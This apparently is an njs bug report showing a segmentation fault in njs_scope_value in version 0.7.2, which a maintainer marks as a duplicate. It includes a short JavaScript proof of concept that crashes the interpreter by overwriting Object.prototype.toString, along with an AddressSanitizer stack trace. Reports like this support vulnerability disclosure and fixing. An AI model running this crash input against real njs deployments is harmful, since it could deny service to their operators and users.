SEGV njs_scope.h:73:12 in njs_scope_value

[Q1IQ]

Environment

OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit  : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build   : 
          NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
          NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"

Proof of concept

function main() {
try {
    const a0 = {};
    const a1 = a0.__proto__;
    const a2 = {};
    const a3 = a2[8];
    function a4(a5,a6) {
        a1.toString = a6;
    }
    const a7 = a4(a3,a4);
    const a8 = {};
    const a10 = "includes"[a8]();
} catch(a11) {
}
}
main();

Stack dump

AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064570==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000048 (pc 0x0000004e2689 bp 0x7ffcdeff6070 sp 0x7ffcdeff5860 T0)
==2064570==The signal is caused by a READ memory access.
==2064570==Hint: address points to the zero page.
    #0 0x4e2689 in njs_scope_value /home/q1iq/Documents/origin/njs/src/njs_scope.h:73:12
    #1 0x4e2689 in njs_scope_valid_value /home/q1iq/Documents/origin/njs/src/njs_scope.h:83:13
    #2 0x4e2689 in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:150:13
    #3 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
    #4 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
    #5 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
    #6 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
    #7 0x7f92c0a3e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #8 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_scope.h:73:12 in njs_scope_value
==2064570==ABORTING

Credit

Q1IQ(@Q1IQ)

[xeioex]

Is a duplicate of #467.